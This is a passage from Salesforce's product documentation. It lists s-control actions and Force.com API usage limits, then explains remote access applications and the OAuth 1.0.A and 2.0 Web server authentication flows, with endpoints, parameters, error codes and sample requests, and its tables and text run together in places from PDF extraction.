Enable a contact as a Partner Portal user. Contact Enable a contact as a Self-Service user. Display duplicate leads. Create a follow-up event. Create a follow-up task. Display a Hoovers profile. Contact Lead Event Event Account Lead

2263

Develop

Defining Custom S-Controls

IncludeOffline GoogleMaps

Include an account record in Connect Offline. Plot an address on Google Maps.

Account Account Contact Lead Account Contact Lead Account Contact Lead Ad group Campaign Case Contact Contract Google campaign Keyword Lead Opportunity Product Search phrase SFGA version Solution Text ad

GoogleNews

Display www.google.com/news.

GoogleSearch

Display www.google.com.

List

List records of an object.

LogCall MailMerge ManageMembers MassClose Merge New

Log a call. Generate a mail merge. Launch the Manage Members page. Close multiple cases. Merge contacts. Create a new record.

Activity Activity Campaign Case Contact Activity Ad group Asset Campaign Case Contact Contract

2264

Develop

Defining Custom S-Controls

NewTask RequestUpdate Create a task. Request an update.

Event Google campaign Keyword Lead Opportunity Search phrase SFGA version Solution Task Text ad

Task Contact Activity

SelfServSelect SendEmail SendGmail

Register a user as a Self Service user. Send an email. Open a blank email in Gmail.

Solution Activity Contact Lead

Sort Share

Sort products in a price book. Share a record.

OpportunityLineItem Account Ad group Campaign Case Contact Contract Google campaign Keyword Lead Opportunity Search phrase SFGA version Text ad Account Activity Ad group Asset Campaign Campaign member Case

Submit for Approval

Submit a record for approval.

2265

Develop

Defining Custom S-Controls

Tab Access the tab for an object.

Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Task Text ad Ad group Campaign Case Contact Contract Google campaign Keyword Lead Opportunity Product Search phrase SFGA version Solution Text ad Activity Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity

View

View a record.

2266

Develop

Force.com API Usage Limits

ViewAllCampaignMembers ViewCampaignInfluenceReport ViewPartnerPortalUser ViewSelfService YahooMaps List all campaign members.

Opportunity product Product Search phrase SFGA version Solution Text ad

Campaign

Display the Campaigns with Influenced Campaign Opportunities report. List all Partner Portal users. List all Self-Service users. Plot an address on Yahoo! Maps. Contact Contact Account Contact Lead

YahooWeather

Display
http://weather.yahoo.com/.

Contact

See Also:
Understanding Global Variables

Force.com API Usage Limits


Available in: Professional, Enterprise, Developer, and Database.com Editions

To maintain optimum performance and ensure that the Force.com API is available to all of our customers, salesforce.com balances transaction loads by imposing two types of limits: Concurrent API Request Limits Total API Request Limits

When a call exceeds a request limit, an error is returned.

Concurrent API Request Limits


The following table lists the limits for various types of organizations for concurrent requests (calls) with a duration of 20 seconds or longer. Organization Type Developer Edition Limit 5

2267

Develop

Force.com API Usage Limits

Organization Type Trial organizations Production organizations Sandbox

Limit 5 25 25

Total API Request Limits


The following table lists the limits for the total API requests (calls) per 24-hour period for an organization. Salesforce Edition API Calls Per License Type Minimum 1,000 Maximum 1,000

All Editions: N/A DebuggingHeader on API testing calls for Apex specified. Valid in API version 20 and later. Developer Edition Enterprise Edition Professional Edition with API access enabled N/A Salesforce: 1,000 Salesforce Platform: 1,000 Force.com - One App: 200 Gold Partner: 200 Salesforce: 5,000 Salesforce Platform: 5,000 Force.com - One App: 200 Gold Partner: 200

5,000 5,000

5,000 1,000,000

Unlimited Edition

5,000

Unlimited. However, at any high limit, it is likely that other limiting factors such as system load may prevent you from using your entire allocation of calls in a 24hour period. 5,000,000

Sandbox

N/A

N/A

Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit. In the Salesforce application, administrators can view how many API requests have been issued in the last 24 hours on the Company Information page at Your Name > Setup > Company Profile > Company Information. Administrators can also view a more detailed report of API usage over the last seven days by navigating to the Reports tab, selecting the Administrative Reports folder and clicking the API Usage Last 7 days report. Note: Limits are automatically enforced for all editions.

Any action that sends a call to the API counts toward usage limits, except the following:

2268

Develop

Documentation Resources for Force.com Developers

Outbound messages Apex callouts

You can configure your organization so that email is sent to a designated user when the number of API requests has exceeded a specified percentage of the limit. For more information, see About API Usage Notifications on page 950.

Example API Usage Metering Calculations


The following examples illustrate API usage metering calculations for several scenarios: For an Enterprise Edition organization with five Salesforce licenses, the request limit is 5,000 requests (5 licenses X 1,000 calls). For an Enterprise Edition organization with 15,000 Salesforce licenses, the request limit is 1,000,000 (the number of licenses X 1,000 calls is greater than the maximum value, so the lower limit of 1,000,000 is used). For a Developer Edition organization that made 4,500 calls at 5:00 AM Wednesday, 499 calls at 11:00 PM Wednesday, only one more call could successfully be made until 5:00 AM Thursday. For an Enterprise Edition organization with 20 Gold Partner licenses, the request limit is 5,000 (the number of licenses X 200 calls is less than the minimum value of 5,000).

Increasing Total API Request Limit


The calculation of the API request limit based on user licenses is designed to allow sufficient capacity for your organization based on your number of users. If you need a higher limit and you don't want to purchase additional user licenses or upgrade to Unlimited Edition, you can purchase additional API calls. For more information, contact your account representative. Before you purchase additional API calls, you should perform a due diligence of your current API usage. Client applications, whether it is your own enterprise applications or partner applications, that make calls to the API can often be optimized to use fewer API calls to do the same work. If you are using a partner product, you should consult with the vendor to verify that the product is making optimal use of the API. A product that makes inefficient use of the API will incur unnecessary cost for your organization.

See Also:
Monitoring Resources Salesforce Editions and Limits Documentation Resources for Force.com Developers Understanding User License Types

Documentation Resources for Force.com Developers


The Developer Force Technical Library is your resource for information about developing on the Force.com platform. Here you can learn Force.com fundamentals and advanced programming techniques, get started with Visualforce or Apex, learn how to write SOQL and SOSL queries, dig into Web services and metadata APIs, and more. Find everything from high-level tutorials to detailed reference guides and sample code, and learn how to package and implement your apps.

2269

Develop

Remote Access Application Overview

Note: Many of these developer documentation resources are only available in English.

See Also:
Using Salesforce Help

Remote Access Application Overview


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce user and the external application. OAuth is an open protocol that allows secure authentication for access to a users data, without handing out the users username and password. It is often described as the valet key of software access: a valet key only allows access to certain features of your car: you cannot open the trunk or glove compartment using a valet key. The following is the general flow for using a remote access application with Salesforce: 1. A developer uses the remote access pages in Salesforce (Your Name > Setup > Develop > Remote Access) to define a remote access application. In this example, the remote access application is a web application, which uses data that already exists in Salesforce. 2. The developer uses the generated client credentials from the remote access application detail page and develops their web application using an OAuth library. 3. A user starts to use the developers web application and performs an action that requires access to their Salesforce data. 4. The user is redirected to Salesforce using the OAuth protocol, and presented with the standard Salesforce login page. 5. Once the user successfully logs in, the Remote Access Authorization page displays. The user must verify that they want to grant the web application access to their Salesforce data. 6. When using the Web server flow, a. If the user approves access, they are redirected back to the originating web application with an authorization code. b. The web application exchanges this code for an access token, which grants them access to the users Salesforce data. 7. When using the user-agent flow, if the user approves access, they are redirected back with an access token. Note: Depending on the authentication flow used, a refresh token might be granted, allowing continued access to the users account. 8. After a user has granted access to a remote access application, he or she can revoke that access by clicking Your Name > Setup > My Personal Information > Personal Information and clicking Deny next to the name of the application in the Remote Access related list.

2270

Develop

Remote Access Application Overview

While this example illustrates a common use of OAuth, Salesforce supports a number of authentication flows for OAuth 2.0, so you can authenticate users of Web, JavaScript, desktop, or mobile applications. Salesforce currently supports OAuth versions 1.0.A and 2.0. Note: Salesforce is compatible with Draft v225 of the OAuth 2.0 protocol from the IETF working group.

For more information on the OAuth standard, see the OAuth.net documentation. For more information on terminology, see Remote Access Applications and OAuth Terminology on page 2271. Note: Users can authorize a remote access application to access their Salesforce more than once, for example, for both a laptop and a desktop computer. The default limit is five per application per user. If a user tries to grant access to an application more than the organization limit, the access token for that application that hasnt been used for the longest period of time is revoked. Newer applications (using the OAuth 2.0 protocol) using the Web server flow are automatically approved for additional devices after the user has granted access once. The user-agent flow requires user approval every time.

See Also:
Getting Started with Remote Access Applications Remote Access Applications and OAuth Terminology Defining Remote Access Applications Authenticating Remote Access Application OAuth Managing Your Remote Access Applications Installing a Package

Remote Access Applications and OAuth Terminology


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

Access Token A value used by the consumer to gain access to protected resources on behalf of the user, instead of using the users Salesforce credentials. For OAuth 1.0.A, the access token must be exchanged for a session ID. For OAuth 2.0, the access token is a session ID, and can be used directly. Authorization Code Only used in OAuth 2.0 with the Web server flow. A short-lived token that represents the access granted by the end user. The authorization code is used to obtain an access token and a refresh token. For OAuth 1.0.A, see RequestToken.

2271

Develop

Remote Access Application Overview

Callback URL A URL associated with your client application. In some contexts this must be a real URL that the clients Web browser is redirected to. In others, the URL isnt actually used; however, between your client application and the server (the remote access application definition) the value must be same. For example, you may want to use a value that identifies the application, such as http://MyCompany.Myapp. Consumer A Web site or application that uses OAuth to authenticate both the Salesforce user as well as the application on the users behalf. Consumer Key A value used by the consumer to identify itself to Salesforce. Referred to as client_id in OAuth 2.0. Consumer Secret A secret used by the consumer to establish ownership of the consumer key. Referred to as client_secret in OAuth 2.0. Nonce A number, often a random number, used during authentication to ensure that requests cannot be reused. Refresh Token Only used in OAuth 2.0. A token used by the consumer to obtain a new access token, without having the end user approve the access again. Request Token A value used by the consumer to obtain authorization from the user, and exchanged for an access token. Request tokens are only used in OAuth 1.0.A. For OAuth 2.0, see Authorization Code. Service Provider A Web application that allows access using OAuth. This is your Salesforce instance after remote access has been enabled. Token Secret A secret used by the consumer to establish ownership of a given token, both for request tokens and access tokens. User An individual who has a Salesforce login.

See Also:
Remote Access Application Overview

2272

Develop

Getting Started with Remote Access Applications

Getting Started with Remote Access Applications


Available in: All Editions Managed Packages are not available in Database.com

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

Before you start to use remote access applications, you need to consider the following: The version of the OAuth protocol to use. The type of application your developer is building. This determines which authentication flow to use.

Once you have made these decisions, you can define your remote access application.

Choosing a Version of the OAuth Protocol


Salesforce.com recommends that developers use the OAuth 2.0 protocol. OAuth 2.0 places a strong emphasis on developer simplicity, and you may find it easier to develop and integrate applications. If you have an existing client or platform that leverages OAuth 1.0.A, it may be less work to use that version than to re-engineer it to use OAuth 2.0.

Determining Which Authentication Flow to Use


OAuth 1.0.A only supports a single authentication flow. See OAuth 1.0.A Authentication Flow. OAuth 2.0 supports a number of different application flows. These are dependent on the type of client you are developing. Web serviceOAuth 2.0 Web Server Authentication Flow Mobile or desktop application, or JavaScriptOAuth 2.0 User-Agent Flow

Determining Remote Access Application Scope


You might be required by an administrator to limit the access your application has to the assets within an organization. You can write your application using the scope parameter to achieve this level of control.

See Also:
Remote Access Application Overview Remote Access Applications and OAuth Terminology Defining Remote Access Applications

2273

Develop

Defining Remote Access Applications

Defining Remote Access Applications


Available in: All Editions Managed Packages are not available in Database.com

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

Before you start to use remote access applications, you need to consider the following: The version of the OAuth protocol to use. The type of application your developer is building. This determines which authentication flow to use.

For more information, see Getting Started with Remote Access Applications on page 2273. To define a remote access application: 1. To define a remote access application, click Your Name > Setup > Develop > Remote Access, and click New. 2. Specify the name of the application. This is required. Salesforce.com recommends that the name of the remote access application match the name of the actual application. 3. Specify the Callback URL, which is required and represents the URL that the user will be returned to after they approve access for the application. This URL uses HTTPS or another protocol. For OAuth 1.0.A, this value can also be set to OOB. Tip: OAuth 2.0 refers to the callback URL as redirect_uri.

4. If the application has a specific logo, you can specify that using the Logo Image URL. The URL must be secure (use https). The logo can be a maximum of 200 125 pixels. It is displayed on a white background. 5. Specify your Contact Phone and Contact Email. Contact Email is required. 6. In the Info URL field, you can specify a URL where users can go to get more information about the application. The URL must use https or http protocol, cant contain spaces, and has a maximum length of 2000 characters. 7. Enter a description of the application. When a user grants access to an application, this description displays. 8. For applications, you can specify No user approval required. This means the application is automatically approved; that is, the end-user is never asked to approve access. This only works for end-users within your own organization. 9. If youre setting up an application to login using an assertion, check the Public Key Certificate checkbox. You can then browse to locate and upload the authentication certificate issued by your certificate authority. 10. Click Save. When you save the remote access definition, the consumer key and consumer secret are automatically generated. The consumer key and consumer secret are available globally in all Salesforce instances. Note: After you save a remote access definition, it may take a few minutes before it becomes available.

2274

Develop

Authenticating Remote Access Application OAuth

Even if you change the name of the application, the consumer key and consumer secret are not regenerated.

See Also:
Remote Access Application Overview Getting Started with Remote Access Applications Viewing Remote Access Application Details Remote Access Applications and OAuth Terminology

Authenticating Remote Access Application OAuth


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

When a user requests their Salesforce data from within the external application (the consumers page), the user must be authenticated by Salesforce. There are several steps in each authentication flow, as dictated by the OAuth standard and what is trying to access Salesforce. Salesforce supports the following authentication flows: OAuth 1.0.AThis version of OAuth has only one flow. OAuth 2.0 Web serverThe Web server authentication flow is used by applications that are hosted on a secure server. A critical aspect of the Web server flow is that the server must be able to protect the consumer secret. OAuth 2.0 user-agentThe user-agent authentication flow is used by client applications (consumers) residing in the user's device. This could be implemented in a browser using a scripting language such as JavaScript, or from a mobile device or a desktop application. These consumers cannot keep the client secret confidential. OAuth 2.0 refresh token flowAfter the consumer has been authorized for access, they can use a refresh token to get a new access token (session ID.) This is only done after the consumer already has received a refresh token using either the Web server or user-agent flow. OAuth 2.0 JWT Bearer Token FlowThe OAuth 2.0 JWT bearer token flow defines how a JWT can be used to request an OAuth access token from Salesforce when a client wishes to utilize a previous authorization. Authentication of the authorized application is provided by a digital signature applied to the JWT. OAuth 2.0 SAML Bearer Assertion FlowThe OAuth 2.0 SAML bearer assertion flow defines how a SAML assertion can be used to request an OAuth access token when a client wishes to utilize a previous authorization. Authentication of the authorized application is provided by the digital signature applied to the SAML assertion. SAML assertion flowThe SAML assertion flow is an alternative for organizations that are currently using SAML to access Salesforce, and want to access the Web services API the same way. The SAML assertion flow can only be used inside a single organization. You do not have to create a remote access application to use this assertion flow. OAuth 2.0 username and passwordThe username-password authentication flow can be used to authenticate when the consumer already has the users credentials.

2275

Develop

Authenticating Remote Access Application OAuth

Warning: This OAuth authentication flow involves passing the users credentials back and forth. Use this authentication flow only when necessary. No refresh token will be issued.

For all authentication flows, if a user is asked to authorize access and instead clicks the link indicating they are not the currently signed in user, the current user is logged out and the authorization flow restarts with authenticating the user.

OAuth 2.0 Endpoints


The three primary endpoints used with OAuth 2.0 are: Authorizationhttps://login.salesforce.com/services/oauth2/authorize Tokenhttps://login.salesforce.com/services/oauth2/token Revokehttps://login.salesforce.com/services/oauth2/revoke

See Revoking OAuth Tokens on page 2306 for details on revoking access. For a Sandbox, use test.salesforce.com instead of login.salesforce.com.

See Also:
Remote Access Application Overview Getting Started with Remote Access Applications OAuth 1.0.A Authentication Flow OAuth 2.0 Web Server Authentication Flow OAuth 2.0 User-Agent Flow OAuth 2.0 Refresh Token Flow OAuth 2.0 Username-Password Flow OAuth 2.0 JWT Bearer Token Flow OAuth 2.0 SAML Bearer Assertion Flow

OAuth 1.0.A Authentication Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The following diagram displays the authentication flow steps for OAuth 1.0.A. The individual step descriptions follow. OAuth 1.0.A has a single authentication flow.

2276

Develop

Authenticating Remote Access Application OAuth

1. 2. 3. 4. 5. 6.

The consumer requests a RequestToken. Salesforce verifies the request and returns a request token. The consumer should redirect the user to Salesforce, where they are prompted to log in. Salesforce authorizes the user. Once the user is authorized, the consumer requests an AccessToken. Salesforce verifies the request and grants the token. After the token is granted, the consumer accesses the data either through their application or through the Force.com Web services API. 7. Salesforce verifies the request and allows access to the data. The following sections go into more details about each of these steps.

2277

Develop

Authenticating Remote Access Application OAuth

Tip: To use a remote access application with a Sandbox, use test.salesforce.com instead of login.salesforce.com in the following sections. For the list of possible error codes returned by Salesforce, see OAuth 1.0.A Error Codes on page 2281.

Requesting a RequestToken When a consumer makes an initial request to Salesforce, a RequestToken is returned if the request is valid. The following steps contain more detail for the developer who is using a remote access application to request Salesforce data. 1. A consumer application needs to access Salesforce data and sends a request to
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler. The

request contains the following: A valid request for a RequestToken, which contains the following OAuth parameters.
oauth_consumer_key oauth_signature_methodmust be HMAC-SHA1. oauth_signature oauth_timestamp oauth_nonce oauth_versionoptional, must be 1.0 if included oauth_callbackmust be one of the following:

URL hosted by the consumer, for example,


https://www.appirio.com/sfdc_accounts/access_token_ready.html. Note that this URL uses

https or another protocol. It cannot use http. oob, meaning out of band.

A signature on page 2280 created according to the OAuth specification for HMAC-SHA1.

2. After Salesforce receives the request, Salesforce: Validates the request with its own copy of the consumer secret Generates a response containing RequestToken and RequestTokenSecret in the HTTP body as name/value pairs Sends the response back to the consumer

A RequestToken is only valid for 15 minutes, plus three minutes to allow for differences between machine clocks. 3. The consumer directs the user to a Salesforce login page, as specified in the next section. Authorizing the User After the request from the consumer is made to Salesforce, the user must be authenticated by Salesforce before the process continues. The following contains more detailed steps about the login procedure for developers who are using a remote access application to request Salesforce data. 1. The consumer redirects the user to the following location, where they are prompted to log in:
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp. The appropriate

GET query parameters are appended to this URL.


oauth_token the RequestToken oauth_consumer_key

2278

Develop

Authenticating Remote Access Application OAuth

Note: If an oauth_callback parameter is included, it is ignored.

2. The Remote Access Authorization page displays. 3. If the user approves access for the consumer, Salesforce generates the AccessToken and AccessTokenSecret. Note: The number of concurrent access tokens that can be granted by a user to an application is limited. The default is five per application per user. If this authorization exceeds the limit for the organization, the user is notified that their authorization automatically revokes the token or tokens for this application that haven't been used for the longest period of time. 4. Salesforce verifies the callback URL (either specified in the remote access application definition pages or in the oauth_callback parameter from the previous stage). One of the following redirections occurs. If the oauth_callback defined in the RequestToken is oob and the Callback URL field in the remote access application definition page has a valid value, the user is redirected to that URL. If the oauth_callback defined in the RequestToken is a valid URL, the user is redirected to that URL.

5. The consumer is notified that the AccessToken and AccessTokenSecret are available either by receiving the verification token from Salesforce or the validation code from the end user. Requesting the AccessToken Once the user has been authenticated, the consumer can exchange a RequestToken for an AccessToken. The following contains more detailed steps regarding the exchange of tokens for developers who are using a remote access application to request Salesforce data. 1. The consumer makes an HTTPS GET or POST request to
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler, with

the required parameters in the query or post data.


oauth_consumer_key oauth_signature_method oauth_signature oauth_timestamp oauth_token oauth_nonce oauth_verifier oauth_versionoptional, must be 1.0 if included

2. Salesforce validates the following elements. The consumer secret The consumer key The signature That the RequestToken has never been used before The timestamp (must be within 15 minutes, plus three minutes to allow for differences between machine clocks) That the nonce has never used before

3. Upon validation, Salesforce returns the AccessToken and AccessTokenSecret in the HTTP response body as name/value pairs.

2279

Develop

Authenticating Remote Access Application OAuth

Generating oauth_signature for Login You can access Salesforce using either the user interface, or using the API. The oauth_signature used for login is generated differently, depending on which method you use. User interfaceuse https://login.salesforce.com for generating the signature APIuse https://login.salesforce.com/services/OAuth/type/api-version for generating the signature.
type must have one of the following values.

uPartner WSDL cEnterprise WSDL For example, https://login.salesforce.com/services/OAuth/u/17.0. Accessing Salesforce Data Using the Consumer Application Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce data. The following contains more detailed steps regarding accessing data for developers who are using a remote access application to request Salesforce data. 1. The consumer makes an HTTPS POST request to https://login.salesforce.com, with the required parameters in the authorization header.
oauth_consumer_key oauth_token oauth_signature_method oauth_signature oauth_timestamp oauth_nonce oauth_version (optional, must be 1.0 if included)

2. Salesforce validates the request and sends a valid session ID to the consumer. Accessing Salesforce Data Using the API Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce data using the Force.com Web services API. Note: Your organization must have access to both the API and to the remote access application. Contact your salesforce.com representative for more information. The following contains more detailed steps regarding accessing data for developers who are using a remote access application to request Salesforce data. 1. The consumer makes an HTTPS POST request to Salesforce. The URL must have the following format:
https://login.salesforce.com/services/OAuth/type/api-version.
type must have one of the following values.

uPartner WSDL cEnterprise WSDL


api-version must be a valid API version.

The authorization header must have the following parameters.

2280

Develop

Authenticating Remote Access Application OAuth

oauth_consumer_key oauth_token oauth_signature_method oauth_signature oauth_timestamp oauth_nonce oauth_version (optional, must be 1.0 if included)

2. Salesforce validates the request and sends a valid session ID to the consumer. The response header includes the following.
<response> <metadataServerUrl>https://na1-api.salesforce.com/services/Soap/m/17.0/00D300000006qjK </metadataServerUrl> <sandbox>false</sandbox> <serverUrl>https://na1-api.salesforce.com/services/Soap/u/17.0/00D300000006qjK </serverUrl> <sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId> </response>

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth Using the Access Token Using Identity URLs

OAuth 1.0.A Error Codes


Salesforce returns the following error codes during the OAuth 1.0.A Authentication Flow. The returned error code is based on the error received. Fault Code Error 1701 1702 1703 1704 1705 1706 1707 Failed: Nonce Replay Detected Failed: Missing Consumer Key Parameter Failed: Invalid Access Token Failed: Version Not Supported Failed: Invalid Timestamp Failed: Invalid Nonce Failed: Missing OAuth Token Parameter You must specify 1.0 for the oauth_version parameter. The timestamp is one of the following: missing, in the future, too old, or malformed. The Nonce is missing. Notes A Nonce can only be used once.

2281

Develop

Authenticating Remote Access Application OAuth

Fault Code Error 1708 1709 1710 Failed: IP Address Not Allowed Failed: Invalid Signature Method Failed: Invalid Callback URL

Notes

The RequestToken contains an invalid oauth_signature_method parameter. The RequestToken contains an invalid oauth_callback parameter. Value must be either oob or a valid URL that uses https. The AccessToken. contains an invalid oauth_verifier parameter. Can only attempt to exchange a RequestToken for an AccessToken three times. The remote access application has been deleted from the Salesforce organization. Either the Force.com Web services API is not enabled for the organization, or OAuth API access has been disabled for the organization.

1711 1712 1713 1716

Failed: Invalid Verifier Failed: Get Access Token Limit Exceeded Failed: Consumer Deleted Failed: OAuth Api Access Disabled

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 1.0.A Authentication Flow

OAuth 2.0 Web Server Authentication Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The Web server authentication flow is used by applications that are hosted on a secure server. A critical aspect of the Web server flow is that the server must be able to protect the consumer secret. The following diagram displays the authentication flow steps for Web server clients. The individual step descriptions follow.

2282

Develop

Authenticating Remote Access Application OAuth

1. 2. 3. 4.

The Web server redirects the user to Salesforce to authenticate and authorize the server to access data on their behalf. After the user approves access, the Web server receives a callback with an authorization code. After obtaining the authorization code, the Web server passes back the authorization code to obtain a token response. After validating the authorization code, Salesforce passes back a token response. If there was no error, the token response includes an access code and additional information. 5. After the token is granted, the Web server accesses their data. After a Web server has an access token, they can use the access token to access Salesforce data on the end users behalf and use a refresh token to get a new access token if it becomes invalid for any reason. Redirect User to Obtain Access Authorization To obtain authorization from the user to access Salesforce data on his or her behalf, the client redirects the users browser to the authorization endpoint with the following parameters:
response_typeValue must be code for this flow. client_idConsumer key from the remote access application definition. scopeThe scope parameter enables you to fine-tune what the client application can access in a Salesforce organization.

See Scope Parameter Values on page 2290 for valid parameters. redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in the remote access application definition exactly, or approval fails. This value must be URL encoded.

2283

Develop

Authenticating Remote Access Application OAuth

stateAny state the consumer wants reflected back to it after approval, during the callback. This parameter is optional.

This value must be URL encoded. immediateDetermines whether the user should be prompted for login and approval. This parameter is optional. The value must be true or false if specified. Default value is false. Note the following: If set to true, and if the user is currently logged in and has previously approved the client_id, Salesforce skips the approval step. If set to true and the user is not logged in or has not previously approved the client, Salesforce immediately terminates with the immediate_unsuccessful error code.

displayChanges the login and authorization pages display type. This parameter is optional. The only values Salesforce

supports are:
pageFull-page authorization screen. This is the default value if none is specified. popupCompact dialog optimized for modern web browser popup windows. touchmobile-optimized dialog designed for modern smartphones such as Android and iPhone. mobilemobile optimized dialog designed for less capable smartphones such as BlackBerry OS 5.

promptSpecifies how the authorization server prompts the user for reauthentication and reapproval. This parameter is

optional. The only values Salesforce supports are: loginThe authorization server must prompt the user for reauthentication, forcing the user to log in again. consentThe authorization server must prompt the user for reapproval before returning information to the client. It is valid to pass both values, separated by a space, to require the user to both log in and reauthorize. For example:
?prompt=login%20consent

In order to initiate the flow, the Web server generally forms a link, or sends an HTTP redirect to the browser. The following is an example of a request to an authorization endpoint from a Web server client:
https://login.salesforce.com/services/oauth2/authorize?response_type=code&client_id= 3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA 9GE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp&state=mystate

If the user is logged in, Salesforce redirects them to the approval page. If the user is not logged in, they are asked to log in, then redirected to the approval page where they grant access to the application. If the user has already approved access once, they dont have to approve access again. Web Server Received Callback Once the user approves the access, they are redirected to the URI specified in redirect_uri with the following values in the query string:
codeAuthorization code the consumer must use to obtain the access and refresh tokens stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the

original query string. If the user has already approved the access once, they do not have to approve access again. The following is an example of the request received by the redirect_uri:
https://www.mysite.com/code_callback.jsp?code=aPrxsmIEeqM9&state=mystate

If the user denies the application, they are redirected to the redirect_uri with the following values in the query string:

2284

Develop

Authenticating Remote Access Application OAuth

errorValue is access_denied. stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the

original query string. For example:


https://www.mysite.com/code_callback.jsp?error=access-denied&state=mystate

If an error occurs during this step, the response contains an error message containing these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP GET access_deniedend-user denied authorization redirect_uri_missingredirect_uri not provided redirect_uri_mismatchredirect_uri mismatch with remote access application definition immediate_unsuccessfulimmediate unsuccessful invalid_scoperequested scope is invalid, unknown, or malformed

stateState that was passed into the approval step. This isnt included if the state parameter wasnt included in the

original query string. Web Server Exchanges Verification Code for Access Token After obtaining the authorization code, the Web server exchanges the authorization code for an access token. The consumer should make a POST directly to the token endpoint, with the following parameters:
grant_typeValue must be authorization_code for this flow. client_idConsumer key from the remote access application definition. client_secretConsumer secret from the remote access application definition. redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in

the remote access application definition exactly, and is the same value sent by the initial redirect. See Redirect User to Obtain Access Authorization on page 2283. codeAuthorization code obtained from the callback after approval. formatExpected return format. This parameter is optional. The default is json. Values are: urlencoded json xml

The following is an example of the POST body sent out-of-band:


POST /services/oauth2/token HTTP/1.1 Host: login.salesforce.com grant_type=authorization_code&code=aPrxsmIEeqM9PiQroGEWx1UiMQd95_5JUZ VEhsOFhS8EVvbfYBBJli2W5fn3zbo.8hojaNW_1g%3D%3D&client_id=3MVG9lKcPoNI NVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCs cA9GE&client_secret=1955279925675241571& redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp

2285

Develop

Authenticating Remote Access Application OAuth

Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one of the following:
Accept: application/json Accept: application/xml Accept: application/x-www-form-urlencoded

Note the following: Wildcard accept headers are allowed. */* is accepted and returns JSON. A list of values is also accepted and is checked left-to-right. For example:
application/xml,application/json,application/html,*/* returns XML. The format parameter takes precedence over the accept request header.

Salesforce Responds with an Access Token Response After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API. refresh_tokenToken that can be used in the future to obtain new access tokens (sessions). This value is a secret.

You should treat it like the users password and use appropriate measures to protect it. instance_urlURL indicating the instance of the users organization. In this example, the instance is na1: https://na1.salesforce.com. idIdentity URL that can be used to both identify the user as well as query for more information about the user. See Using Identity URLs on page 2308. signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the server. issued_atWhen the signature was created.

The following is an example response from Salesforce:


{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P", "issued_at":"1278448101416","refresh_token":"5Aep8614iLM.Dq661ePDmPEgaAW9 Oh_L3JKkDpB4xReb54_pZebnUG0h6Sb4KUVDpNtWEofWM39yg==","instance_url": "https://na1.salesforce.com","signature":"CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk 4J2urAe+fVg=","access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0R NBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4"}

If an error occurs during this step, the response contains an error message with these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP POST invalid_client_credentialsclient secret invalid invalid_grantinvalid authorization code invalid_grantIP restricted or invalid login hours redirect_uri_mismatchredirect_uri not provided redirect_uri_mismatchredirect_uri mismatch with remote access application definition inactive_useruser has been set to inactive by the administrator

2286

Develop

Authenticating Remote Access Application OAuth

inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of login attempts has been exceeded Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Refresh Token Flow Using the Access Token Using Identity URLs

OAuth 2.0 User-Agent Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

